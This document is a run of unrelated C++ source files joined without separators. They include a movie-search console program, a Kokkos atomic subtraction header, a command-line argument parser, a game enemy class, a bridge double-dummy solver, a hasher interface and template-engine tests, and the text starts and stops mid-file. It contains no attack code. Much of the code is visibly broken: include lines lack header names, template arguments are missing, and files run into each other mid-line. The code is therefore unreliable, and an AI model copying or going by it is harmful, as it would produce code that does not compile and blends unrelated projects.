endl; goto enter; } t2 = clock(); double time2 = (double)(t2-t1)/CLOCKS_PER_SEC*1000; cout << endl << "it took " << time2 << " miliseconds to search" << endl; cout << " and " << time1 << " milisecons to gather data" << endl; cout << "delete a file: "; i=0; do { cin.get(a); un[i++]=a; }while (a != 10); un[--i] = '\0'; if(my.DeleteData(un,false)) cout << "deleted!\n"; else cout << "delete fail!"; */ Database f; char* in = new char[80]; do { cout <<" enter moovie: "; in = new char[80]; char a; int i = 0; do { cin.get(a); in[i++]=a; }while (a != 10); in[--i] = '\0'; Search e; cout << e.getSum(in)< result = f.SearchMovie(in); while(!result.empty()) { cout << result.front() << endl; result.pop(); } } while(in[0] != 0); return 0; }#include using namespace std; int main() { double n; cin >> n; string msg; if (n <= 10) { msg = "slow"; } else if (n > 10 && n <= 50) { msg = "average"; } else if (n > 50 && n <= 150) { msg = "fast"; } else if (n > 150 && n <= 1000) { msg = "ultra fast"; } else { msg = "extremely fast"; } cout << msg << endl; return 0; }0 /* //@HEADER // ************************************************************************ // // Kokkos v. 2.0 // Copyright (2014) Sandia Corporation // // Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation, // the U.S. Government retains certain rights in this software. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // 1. Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // 3. Neither the name of the Corporation nor the names of the // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY SANDIA CORPORATION "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SANDIA CORPORATION OR THE // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Questions? Contact () // // ************************************************************************ //@HEADER */ #if defined( KOKKOS_ENABLE_RFO_PREFETCH ) #include #endif #include #if defined( KOKKOS_ATOMIC_HPP ) && ! defined( KOKKOS_ATOMIC_FETCH_SUB_HPP ) #define KOKKOS_ATOMIC_FETCH_SUB_HPP #if defined(KOKKOS_ENABLE_CUDA) #include #endif namespace Kokkos { //---------------------------------------------------------------------------- #if defined( KOKKOS_ENABLE_CUDA ) #if defined(__CUDA_ARCH__) || defined(KOKKOS_IMPL_CUDA_CLANG_WORKAROUND) // Support for int, unsigned int, unsigned long long int, and float __inline__ __device__ int atomic_fetch_sub( volatile int * const dest , const int val ) { return atomicSub((int*)dest,val); } __inline__ __device__ unsigned int atomic_fetch_sub( volatile unsigned int * const dest , const unsigned int val ) { return atomicSub((unsigned int*)dest,val); } template < typename T > __inline__ __device__ T atomic_fetch_sub( volatile T * const dest , typename Kokkos::Impl::enable_if< sizeof(T) == sizeof(int) , const T >::type val ) { union { int i ; T t ; } oldval , assume , newval ; oldval.t = *dest ; do { assume.i = oldval.i ; newval.t = assume.t - val ; oldval.i = atomicCAS( (int*)dest , assume.i , newval.i ); } while ( assume.i != oldval.i ); return oldval.t ; } template < typename T > __inline__ __device__ T atomic_fetch_sub( volatile T * const dest , typename Kokkos::Impl::enable_if< sizeof(T) != sizeof(int) && sizeof(T) == sizeof(unsigned long long int) , const T >::type val ) { union { unsigned long long int i ; T t ; } oldval , assume , newval ; oldval.t = *dest ; do { assume.i = oldval.i ; newval.t = assume.t - val ; oldval.i = atomicCAS( (unsigned long long int*)dest , assume.i , newval.i ); } while ( assume.i != oldval.i ); return oldval.t ; } //---------------------------------------------------------------------------- template < typename T > __inline__ __device__ T atomic_fetch_sub( volatile T * const dest , typename Kokkos::Impl::enable_if< ( sizeof(T) != 4 ) && ( sizeof(T) != 8 ) , const T >::type& val ) { T return_val; // This is a way to (hopefully) avoid dead lock in a warp int done = 0; unsigned int active = KOKKOS_IMPL_CUDA_BALLOT(1); unsigned int done_active = 0; while (active!=done_active) { if(!done) { if( Impl::lock_address_cuda_space( (void*) dest ) ) { return_val = *dest; *dest = return_val - val; Impl::unlock_address_cuda_space( (void*) dest ); done = 1; } } done_active = KOKKOS_IMPL_CUDA_BALLOT(done); } return return_val; } #endif #endif //---------------------------------------------------------------------------- #if !defined(KOKKOS_ENABLE_ROCM_ATOMICS) #if !defined(__CUDA_ARCH__) || defined(KOKKOS_IMPL_CUDA_CLANG_WORKAROUND) #if defined(KOKKOS_ENABLE_GNU_ATOMICS) || defined(KOKKOS_ENABLE_INTEL_ATOMICS) inline int atomic_fetch_sub( volatile int * const dest , const int val ) { #if defined( KOKKOS_ENABLE_RFO_PREFETCH ) _mm_prefetch( (const char*) dest, _MM_HINT_ET0 ); #endif return __sync_fetch_and_sub(dest,val); } inline long int atomic_fetch_sub( volatile long int * const dest , const long int val ) { #if defined( KOKKOS_ENABLE_RFO_PREFETCH ) _mm_prefetch( (const char*) dest, _MM_HINT_ET0 ); #endif return __sync_fetch_and_sub(dest,val); } #if defined( KOKKOS_ENABLE_GNU_ATOMICS ) inline unsigned int atomic_fetch_sub( volatile unsigned int * const dest , const unsigned int val ) { #if defined( KOKKOS_ENABLE_RFO_PREFETCH ) _mm_prefetch( (const char*) dest, _MM_HINT_ET0 ); #endif return __sync_fetch_and_sub(dest,val); } inline unsigned long int atomic_fetch_sub( volatile unsigned long int * const dest , const unsigned long int val ) { #if defined( KOKKOS_ENABLE_RFO_PREFETCH ) _mm_prefetch( (const char*) dest, _MM_HINT_ET0 ); #endif return __sync_fetch_and_sub(dest,val); } #endif template < typename T > inline T atomic_fetch_sub( volatile T * const dest , typename Kokkos::Impl::enable_if< sizeof(T) == sizeof(int) , const T >::type val ) { union { int i ; T t ; } assume , oldval , newval ; #if defined( KOKKOS_ENABLE_RFO_PREFETCH ) _mm_prefetch( (const char*) dest, _MM_HINT_ET0 ); #endif oldval.t = *dest ; do { assume.i = oldval.i ; newval.t = assume.t - val ; oldval.i = __sync_val_compare_and_swap( (int*) dest , assume.i , newval.i ); } while ( assume.i != oldval.i ); return oldval.t ; } template < typename T > inline T atomic_fetch_sub( volatile T * const dest , typename Kokkos::Impl::enable_if< sizeof(T) != sizeof(int) && sizeof(T) == sizeof(long) , const T >::type val ) { #if defined( KOKKOS_ENABLE_RFO_PREFETCH ) _mm_prefetch( (const char*) dest, _MM_HINT_ET0 ); #endif union { long i ; T t ; } assume , oldval , newval ; oldval.t = *dest ; do { assume.i = oldval.i ; newval.t = assume.t - val ; oldval.i = __sync_val_compare_and_swap( (long*) dest , assume.i , newval.i ); } while ( assume.i != oldval.i ); return oldval.t ; } //---------------------------------------------------------------------------- template < typename T > inline T atomic_fetch_sub( volatile T * const dest , typename Kokkos::Impl::enable_if< ( sizeof(T) != 4 ) && ( sizeof(T) != 8 ) , const T >::type& val ) { #if defined( KOKKOS_ENABLE_RFO_PREFETCH ) _mm_prefetch( (const char*) dest, _MM_HINT_ET0 ); #endif while( !Impl::lock_address_host_space( (void*) dest ) ); T return_val = *dest; *dest = return_val - val; Impl::unlock_address_host_space( (void*) dest ); return return_val; } //---------------------------------------------------------------------------- #elif defined( KOKKOS_ENABLE_OPENMP_ATOMICS ) template< typename T > T atomic_fetch_sub( volatile T * const dest , const T val ) { T retval; #pragma omp atomic capture { retval = dest[0]; dest[0] -= val; } return retval; } #elif defined( KOKKOS_ENABLE_SERIAL_ATOMICS ) template< typename T > T atomic_fetch_sub( volatile T * const dest_v , const T val ) { T* dest = const_cast(dest_v); T retval = *dest; *dest -= val; return retval; } #endif #endif #endif // !defined ROCM_ATOMICS // Simpler version of atomic_fetch_sub without the fetch template KOKKOS_INLINE_FUNCTION void atomic_sub(volatile T * const dest, const T src) { atomic_fetch_sub(dest,src); } } #include #endif /** * Copyright © 2018 IBM Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "argument.hpp" #include #include #include #include const std::string ArgumentParser::true_string = "true"; const std::string ArgumentParser::empty_string = ""; const char* ArgumentParser::optionstr = "s:b:i:?h"; const option ArgumentParser::options[] = { {"service-namespaces", required_argument, nullptr, 's'}, {"service-blacklists", required_argument, nullptr, 'b'}, {"interface-namespaces", required_argument, nullptr, 'i'}, {"help", no_argument, nullptr, 'h'}, {0, 0, 0, 0}, }; ArgumentParser::ArgumentParser(int argc, char** argv) { int option = 0; while (-1 != (option = getopt_long(argc, argv, optionstr, options, nullptr))) { if ((option == '?') || (option == 'h')) { usage(argv); exit(-1); } auto i = &options[0]; while ((i->val != option) && (i->val != 0)) ++i; if (i->val) arguments[i->name] = (i->has_arg ? optarg : true_string); } } const std::string& ArgumentParser::operator[](const std::string& opt) { auto i = arguments.find(opt); if (i == arguments.end()) { return empty_string; } else { return i->second; } } void ArgumentParser::usage(char** argv) { std::cerr << "Usage: " << argv[0] << " [options]" << std::endl; std::cerr << "Options:" << std::endl; std::cerr << " --help Print this menu" << std::endl; std::cerr << " --service-namespaces= Space separated list of "; std::cerr << "service namespaces to whitelist\n"; std::cerr << " --service-blacklists= Space separated list of "; std::cerr << "service names to blacklist\n"; std::cerr << " --interface-namespaces= Space separated list of "; std::cerr << "interface namespaces to whitelist\n"; } // The code fragment creates a font based on the information // we got from CFontDialog::m_cf variable. CFontDialog dlg; if (dlg.DoModal() == IDOK) { // Create the font using the selected font from CFontDialog. LOGFONT lf; memcpy(&lf, dlg.m_cf.lpLogFont, sizeof(LOGFONT)); CFont font; VERIFY(font.CreateFontIndirect(&lf)); // Do something with the font just created... CClientDC dc(this); CFont* def_font = dc.SelectObject(&font); dc.TextOut(5, 5, _T("Hello"), 5); dc.SelectObject(def_font); // Done with the font. Delete the font object. font.DeleteObject(); }alexgesti/PROYECTO-2game/Source/DrunkCustomer.cpp #include "DrunkCustomer.h" #include "Log.h" #include "Render.h" #include "Textures.h" DrunkCustomer* DrunkCustomer::instance = nullptr; // Instance creator DrunkCustomer* DrunkCustomer::GetInstance(Render* render, Textures* tex) { instance = new DrunkCustomer(render, tex); LOG("Returning drunk customer instance"); return instance; } // Instance reseter void DrunkCustomer::ResetInstance() { RELEASE(instance); } // Constructor DrunkCustomer::DrunkCustomer(Render* render, Textures* tex) : Enemy(EnemyType::DRUNKCUSTOMER) { this->render = render; this->tex = tex; drunkCustomerTexture = NULL; position = iPoint(0, 0); width = 16; height = 32; //Drunk Customer stats infoEntities.info.name = ""; infoEntities.info.HP = 22; infoEntities.info.LVL = 2; infoEntities.stats.ATK = 8; infoEntities.stats.DEF = 7; infoEntities.stats.SPD = 4; infoEntities.stats.LCK = 5; // Define Player animations drunkCustomerTexture = this->tex->Load("sprites/enemies/nme_aggressivedrunkman_w.png"); drunkCustomerAnim->loop = true; drunkCustomerAnim->speed = 0.15f; drunkCustomerAnim->PushBack({ 0, 0, 112, 128 }); drunkCustomerAnim->PushBack({ 112, 0, 112, 128 }); drunkCustomerAnim->PushBack({ 224, 0, 112, 128 }); drunkCustomerAnim->PushBack({ 112, 0, 112, 128 }); //Define Hurt Texture hurtTexture = this->tex->Load("sprites/combat/cmb_hurt.png"); } // Destructor DrunkCustomer::~DrunkCustomer() { tex->UnLoad(drunkCustomerTexture); tex->UnLoad(hurtTexture); RELEASE(hurtAnim); RELEASE(deathAnim); RELEASE(drunkCustomerAnim); render = nullptr; tex = nullptr; } bool DrunkCustomer::Update(float dt) { drunkCustomerAnim->Update(); return true; } bool DrunkCustomer::Draw() { if (infoEntities.info.HP > 0) { // TODO: Calculate the corresponding rectangle depending on the // animation state and animation frame SDL_Rect rec = drunkCustomerAnim->GetCurrentFrame(); render->DrawTexture(drunkCustomerTexture, position.x, position.y, &rec); rec = hurtAnim->GetCurrentFrame(); render->DrawTexture(hurtTexture, position.x, position.y, &rec); } return false; } void DrunkCustomer::SetTexture(SDL_Texture *tex) { drunkCustomerTexture = tex; } SDL_Rect DrunkCustomer::GetBounds() { return { position.x, position.y, width, height }; } bool DrunkCustomer::UnLoad() { tex->UnLoad(drunkCustomerTexture); tex->UnLoad(hurtTexture); RELEASE(drunkCustomerAnim); RELEASE(hurtAnim); RELEASE(deathAnim); return false; } // // Created by samarth on 7/25/18. // #ifndef DART_HAND_FITTER_HPP #define DART_HAND_FITTER_HPP #include #include #include #include #include #include #include // DART includes #include "tracker_no_obs.h" #include "util/gl_dart.h" #include "optimization/priors.h" #include "hand_fitter_config.h" class HandFitter { public: HandFitter(const std::string &data_dir_=MODELS_DIR); ~HandFitter(); void show_axes(bool show) { _show_axes = show; } void close() { pangolin::Quit(); } void set_targets(const std::unordered_map &joint_locations, const std::unordered_map &inner_surface); Eigen::Matrix4f init(); dart::Pose fit(float &residue); void set_max_iterations(int m); void set_attract_weight(float w); void set_intra_model_intersection(float w); void set_lm_damping(float w); void set_log10_regularization(float w); void set_params(float aw, float iw, float lmd, float reg) { set_attract_weight(aw); set_intra_model_intersection(iw); set_lm_damping(lmd); set_log10_regularization(reg); } private: bool _init, _fit, _show_axes, _show_hand, _calc_error, _print_grasp; int _max_iterations; float _attract_weight, _intra_model_intersection, _lm_damping, _log10_regularization; std::shared_ptr pango_thread; boost::filesystem::path data_dir; std::shared_ptr tracker; bool tracker_ready; std::mutex tracker_mutex; std::condition_variable tracker_cv; std::vector graspit2dartdofs; // stores the tacker priors std::unordered_map > contact_priors; // stores whether joint was observed on outer/inner (0/1) hand surface std::unordered_map joint2inout; // stores 3D point locations for each joint // each joint has 2 3D points: outer/inner hand surface std::unordered_map > joint2framept; // stores the frame ID of each joint std::unordered_map joint2frameid; // stores joint target points (in camera coordinate frame) std::unordered_map joint_targets; // randomly sampled DOF initializations std::vector > dof_inits; Eigen::Matrix4f fit_rigid_joints(); void pangolin_loop(); void create_pangolin_vars_callbacks(); void create_tracker(); void show_3d_3d_prior(const std::string &joint_name, float size=10.f); float3 src_frame_point_in_camera(const std::string &joint_name); float calculate_error(); Eigen::Matrix4f estimate_srt(Eigen::MatrixXf src_pts, Eigen::MatrixXf dst_pts); }; #endif //DART_HAND_FITTER_HPP /* SDS, a bridge single-suit double-dummy quick-trick solver. Copyright (C) 2015-16 by . See LICENSE and README. */ #include #include #include #include "Header.h" #include "MoveList.h" #include "files.h" using namespace std; #define MOVE_CHUNK_SIZE 1000 extern FilesType files; extern SummaryType summary; MoveList::MoveList() { noToAggr.clear(); len = MOVE_CHUNK_SIZE; noToAggr.resize(MOVE_CHUNK_SIZE); count = 1; for (unsigned i = 0; i < len; i++) noToAggr[i].count = 0; noToAggr[0].noComb = 0; noToAggr[0].no1 = 0; noToAggr[0].no2 = 0; noToAggr[0].keyComb = 0; noToAggr[0].key1 = 0; noToAggr[0].key2 = 0; noToAggr[0].number = 0; } MoveList::~MoveList() { } void MoveList::Extend() { len += MOVE_CHUNK_SIZE; noToAggr.resize(len); for (unsigned i = count; i < len; i++) noToAggr[i].count = 0; } unsigned MoveList::Update( const AggrMoveType& mno, const bool newFlag, const unsigned ret) { unsigned r; if (newFlag) { if (count == len) MoveList::Extend(); noToAggr[count] = mno; noToAggr[count].number = count; MoveList::SetAggr(mno); r = count++; } else if (ret) { // Small optimization in order not to search twice sometimes. r = ret; } else { r = MoveList::AggrToNo(mno); assert(r > 0); } noToAggr[r].count++; return r; } unsigned MoveList::AddMove( DefList& def, const Holding& holding, bool& newFlag) { unsigned hashKey; unsigned no = sideComb.AddMove(def, holding, newFlag, hashKey); unsigned ret; AggrMoveType mno; mno.noComb = no; mno.no1 = 0; mno.no2 = 0; mno.keyComb = hashKey; mno.key1 = 0; mno.key2 = 0; mno.count = 0; return MoveList::Update(mno, newFlag); } unsigned MoveList::AddMove( DefList& def1, DefList& def2, const Holding& holding, bool& newFlag) { AggrMoveType mno; DefList def; unsigned ret; if (def.MergeSidesSoft(def1, def2)) return MoveList::AddMove(def, holding, newFlag); else { // This is a forced merge. def.MergeSidesHard(def1, def2); return MoveList::AddMove(def, holding, newFlag); // This keeps the moves separate. unsigned key1; unsigned key2; bool newFlag1 = false; bool newFlag2 = false; mno.noComb = 0; mno.no1 = sideList1.AddMove(def1, holding, newFlag1, key1); mno.no2 = sideList2.AddMove(def2, holding, newFlag2, key2); mno.keyComb = 0; mno.key1 = key1; mno.key2 = key2; mno.count = 0; if (newFlag1 || newFlag2 || ! (ret = MoveList::AggrToNo(mno))) newFlag = true; else newFlag = false; return MoveList::Update(mno, newFlag, ret); } // For checking whether merged defense becomes simpler. /* unsigned d1, d2, dm, a; def1.GetHeader().GetAD(d1, a); def2.GetHeader().GetAD(d2, a); def.GetHeader().GetAD(dm, a); if (d1*d2 != dm) cout << "defMerged " << dm << " != " << d1 << " * " << d2 << "\n"; */ } #define u2s(x) static_cast(&(ostringstream() << (x)))->str() unsigned MoveList::AggrToNo( const AggrMoveType& mno) { string str = u2s(mno.noComb) + '.' + u2s(mno.no1) + '.' + u2s(mno.no2); map::iterator it = aggrMap.find(str); if (it == aggrMap.end()) return 0; else return aggrMap[str]; } void MoveList::SetAggr( const AggrMoveType& mno) { string str = u2s(mno.noComb) + '.' + u2s(mno.no1) + '.' + u2s(mno.no2); aggrMap[str] = count; } unsigned MoveList::GetMaxRank( const unsigned no) { if (noToAggr[no].noComb) return sideComb.GetMaxRank(noToAggr[no].noComb); else { // Very rare differences from merged move rank. unsigned n1 = sideList1.GetMaxRank(noToAggr[no].no1); unsigned n2 = sideList2.GetMaxRank(noToAggr[no].no2); return Min(n1, n2); } } unsigned MoveList::GetSymmTricks( const unsigned no) const { if (noToAggr[no].noComb) return sideComb.GetSymmTricks(noToAggr[no].noComb); else { unsigned t1 = sideList1.GetSymmTricks(noToAggr[no].no1); unsigned t2 = sideList2.GetSymmTricks(noToAggr[no].no2); if (t1 == 0 || t2 == 0 || t1 != t2) return 0; else return t1; } } void MoveList::GetAD( const unsigned no, unsigned& dno, unsigned& ano) { if (noToAggr[no].noComb) sideComb.GetAD(noToAggr[no].noComb, dno, ano); else { dno = 0; ano = 0; } } DefList MoveList::GetCombinedMove( const unsigned no) { if (noToAggr[no].noComb) return sideComb.GetMove(noToAggr[no].noComb); else { const DefList def1 = sideList1.GetMove(noToAggr[no].no1); const DefList def2 = sideList2.GetMove(noToAggr[no].no2); DefList defMerged; defMerged.MergeSidesHard(def1, def2); return defMerged; } } extern int globalTrigger; void MoveList::Print( const unsigned no) const { if (noToAggr[no].noComb) sideComb.Print(noToAggr[no].noComb); else { sideList1.Print(noToAggr[no].no1); sideList2.Print(noToAggr[no].no2); } } void MoveList::PrintMovesByList( ostream& out, const vector& list) { for (unsigned i = 1; i < count; i++) { if (list[i].noComb) sideComb.PrintMove(out, list[i].noComb); else { sideList1.PrintMove(out, list[i].no1); sideList2.PrintMove(out, list[i].no2); } } } void MoveList::PrintMovesByOrder( ostream& out) { MoveList::PrintMovesByList(out, noToAggr); } void MoveList::PrintMovesByKeys() { vector sortList = noToAggr; sort(sortList.begin()+1, sortList.begin()+count, SortKeyIsGreater); const string divider(52, '='); for (unsigned i = 1; i < count; i++) { if (sortList[i].keyComb != sortList[i-1].keyComb || i == 1) { sideComb.GetMove(sortList[i].number).GetHeader().PrintKey( files.movesAll, sortList[i].keyComb); files.movesAll << divider << "\n\n"; } if (sortList[i].noComb) sideComb.PrintMove(files.movesAll, sortList[i].noComb); else { sideList1.PrintMove(files.movesAll, sortList[i].no1); sideList2.PrintMove(files.movesAll, sortList[i].no2); } } sideComb.PrintMoveListByKeys(files.movesComb); sideList1.PrintMoveListByKeys(files.movesA); sideList2.PrintMoveListByKeys(files.movesP); } void MoveList::PrintMovesByCount( ostream& out) { vector sortList = noToAggr; sort(sortList.begin()+1, sortList.begin()+count, SortCountIsGreater); MoveList::PrintMovesByList(out, sortList); sideComb.PrintMoveListByCount(files.movesComb); sideList1.PrintMoveListByCount(files.movesA); sideList2.PrintMoveListByCount(files.movesP); } void MoveList::PrintStats() const { sideComb.PrintStats(files.statsComb); sideList1.PrintStats(files.statsA); sideList2.PrintStats(files.statsP); } void MoveList::PrintLists() const { sideComb.PrintLists(files.movesComb, summary.comb); sideList1.PrintLists(files.movesA, summary.A); sideList2.PrintLists(files.movesP, summary.P); } #ifndef SUPERGENIUS_SRC_CRYPTO_HASHER_HASHER_IMPL_HPP_ #define SUPERGENIUS_SRC_CRYPTO_HASHER_HASHER_IMPL_HPP_ #include "crypto/hasher.hpp" namespace sgns::crypto { class HasherImpl : public Hasher { public: ~HasherImpl() override = default; //----------------------------- Hash64 twox_64(gsl::span buffer) const override; Hash128 twox_128(gsl::span buffer) const override; Hash128 blake2b_128(gsl::span buffer) const override; //---------------------------- Hash256 twox_256(gsl::span buffer) const override; Hash256 blake2b_256(gsl::span buffer) const override; Hash256 keccak_256(gsl::span buffer) const override; Hash256 blake2s_256(gsl::span buffer) const override; Hash256 sha2_256(gsl::span buffer) const override; }; } // namespace sgns::hash #endif // SUPERGENIUS_SRC_CRYPTO_HASHER_HASHER_IMPL_HPP_ #include "stdafx.h" #include "chatroom_list.h" namespace nim_comp { const LPCTSTR ChatroomList::kClassName = L"ChatroomList"; std::wstring nim_comp::ChatroomList::GetSkinFolder() { return L"chatroom_list"; } std::wstring nim_comp::ChatroomList::GetSkinFile() { return L"chatroom_list.xml"; } std::wstring nim_comp::ChatroomList::GetWindowClassName() const { return kClassName; } std::wstring nim_comp::ChatroomList::GetWindowId() const { return kClassName; } ui::Control* nim_comp::ChatroomList::CreateControl(const std::wstring& pstrClass) { if (pstrClass == L"CefControl") { return new CefControl; } return NULL; } void nim_comp::ChatroomList::InitWindow() { m_pRoot->AttachBubbledEvent(ui::kEventClick, nbase::Bind(&ChatroomList::OnClicked, this, std::placeholders::_1)); // 初始化 Cef Control cef_control_ = static_cast(FindControl(L"cef_control")); cef_control_->AttachLoadEnd(nbase::Bind(&ChatroomList::OnLoadEnd, this, std::placeholders::_1)); cef_control_->AttachAfterCreated(nbase::Bind(&ChatroomList::OnAfterCreated, this, std::placeholders::_1)); std::wstring html_path = L"file://" + QPath::GetAppPath() + L"cef_themes/chatroom_list/chatroom_list.html"; cef_control_->LoadURL(html_path); } bool nim_comp::ChatroomList::OnClicked(ui::EventArgs* arg) { return true; } void nim_comp::ChatroomList::OnLoadEnd(int httpStatusCode) { } void nim_comp::ChatroomList::OnAfterCreated(CefRefPtr browser) { } }/* * Copyright (c) 2020 * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "JSON.hpp" #include "Template.hpp" #include "TestHelper.hpp" #ifndef QENTEM_TEMPLATE_TESTS_H_ #define QENTEM_TEMPLATE_TESTS_H_ namespace Qentem { namespace Test { static int TestVariableTag1() { const char *content; Value value = JSON::Parse(R"(["A", "abc", true, 456, 1.5, [null, false, ["Qentem"]]])"); Value sub_value = JSON::Parse( R"({"key1": "a", "key2": "ABC", "key3": false, "key4": 100, "key5": 1.5, "key6": {"one": 1} ,"key7": [null, false, ["Qentem"]]})"); value += sub_value; content = R"({var:0})"; EQ_VALUE(Template::Render(content, &value), R"(A)", R"(Render())"); content = R"({var:1})"; EQ_VALUE(Template::Render(content, &value), R"(abc)", R"(Render())"); content = R"({var:2})"; EQ_VALUE(Template::Render(content, &value), R"(true)", R"(Render())"); content = R"({var:3})"; EQ_VALUE(Template::Render(content, &value), R"(456)", R"(Render())"); content = R"({var:4})"; EQ_VALUE(Template::Render(content, &value), R"(1.5)", R"(Render())"); content = R"({var:5[0]})"; EQ_VALUE(Template::Render(content, &value), R"(null)", R"(Render())"); content = R"({var:5[1]})"; EQ_VALUE(Template::Render(content, &value), R"(false)", R"(Render())"); content = R"({var:5[2][0]})"; EQ_VALUE(Template::Render(content, &value), R"(Qentem)", R"(Render())"); ////// content = R"({var:key1})"; EQ_VALUE(Template::Render(content, &sub_value), R"(a)", R"(Render())"); content = R"({var:key2})"; EQ_VALUE(Template::Render(content, &sub_value), R"(ABC)", R"(Render())"); content = R"({var:key3})"; EQ_VALUE(Template::Render(content, &sub_value), R"(false)", R"(Render())"); content = R"({var:key4})"; EQ_VALUE(Template::Render(content, &sub_value), R"(100)", R"(Render())"); content = R"({var:key5})"; EQ_VALUE(Template::Render(content, &sub_value), R"(1.5)", R"(Render())"); content = R"({var:key6[one]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(1)", R"(Render())"); content = R"({var:key7[0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(null)", R"(Render())"); content = R"({var:key7[1]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(false)", R"(Render())"); content = R"({var:key7[2][0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(Qentem)", R"(Render())"); // content = R"({var:6[key1]})"; EQ_VALUE(Template::Render(content, &value), R"(a)", R"(Render())"); content = R"({var:6[key2]})"; EQ_VALUE(Template::Render(content, &value), R"(ABC)", R"(Render())"); content = R"({var:6[key3]})"; EQ_VALUE(Template::Render(content, &value), R"(false)", R"(Render())"); content = R"({var:6[key4]})"; EQ_VALUE(Template::Render(content, &value), R"(100)", R"(Render())"); content = R"({var:6[key5]})"; EQ_VALUE(Template::Render(content, &value), R"(1.5)", R"(Render())"); content = R"({var:6[key6][one]})"; EQ_VALUE(Template::Render(content, &value), R"(1)", R"(Render())"); //////////////// content = R"(-{var:2})"; EQ_VALUE(Template::Render(content, &value), R"(-true)", R"(Render())"); content = R"(-{var:key7[0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(-null)", R"(Render())"); content = R"(-{var:key7[2][0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(-Qentem)", R"(Render())"); content = R"(-{var:6[key3]})"; EQ_VALUE(Template::Render(content, &value), R"(-false)", R"(Render())"); content = R"(-{var:6[key4]})"; EQ_VALUE(Template::Render(content, &value), R"(-100)", R"(Render())"); //////////// content = R"({var:2}-)"; EQ_VALUE(Template::Render(content, &value), R"(true-)", R"(Render())"); content = R"({var:key7[0]}-)"; EQ_VALUE(Template::Render(content, &sub_value), R"(null-)", R"(Render())"); content = R"({var:key7[2][0]}-)"; EQ_VALUE(Template::Render(content, &sub_value), R"(Qentem-)", R"(Render())"); content = R"({var:6[key3]}-)"; EQ_VALUE(Template::Render(content, &value), R"(false-)", R"(Render())"); content = R"({var:6[key4]}-)"; EQ_VALUE(Template::Render(content, &value), R"(100-)", R"(Render())"); //////////// content = R"(-{var:2}-)"; EQ_VALUE(Template::Render(content, &value), R"(-true-)", R"(Render())"); content = R"(-{var:key7[0]}-)"; EQ_VALUE(Template::Render(content, &sub_value), R"(-null-)", R"(Render())"); content = R"(-{var:key7[2][0]}-)"; EQ_VALUE(Template::Render(content, &sub_value), R"(-Qentem-)", R"(Render())"); content = R"(-{var:6[key3]}-)"; EQ_VALUE(Template::Render(content, &value), R"(-false-)", R"(Render())"); content = R"(-{var:6[key4]}-)"; EQ_VALUE(Template::Render(content, &value), R"(-100-)", R"(Render())"); //////////// content = R"(------{var:2})"; EQ_VALUE(Template::Render(content, &value), R"(------true)", R"(Render())"); content = R"(------{var:key7[0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(------null)", R"(Render())"); content = R"(------{var:key7[2][0]})"; EQ_VALUE(Template::Render(content, &sub_value), R"(------Qentem)", R"(Render())"); content = R"(------{var:6[key3]})"; EQ_VALUE(Template::Render(content, &value), R"(------false)", R"(Render())"); content = R"(------{var:6[key4]})"; EQ_VALUE(Template::Render(content, &value), R"(------100)", R"(Render())"); //////////// content = R"({var:2}------)"; EQ_VALUE(Template::Render(content, &value), R"(true------)", R"(Render())"); content = R"({var:key7[0]}------)"; EQ_VALUE(Template::Render(content, &sub_value), R"(null------)", R"(Render())"); content = R"({var:key7[2][0]}------)"; EQ_VALUE(Template::Render(content, &sub_value), R"(Qentem------)", R"(Render())"); content = R"({var:6[key3]}------)"; EQ_VALUE(Template::Render(content, &value), R"(false------)", R"(Render())"); content = R"({var:6[key4]}------)"; EQ_VALUE(Template::Render(content, &value), R"(100------)", R"(Render())"); //////////// content = R"(------{var:2}------)"; 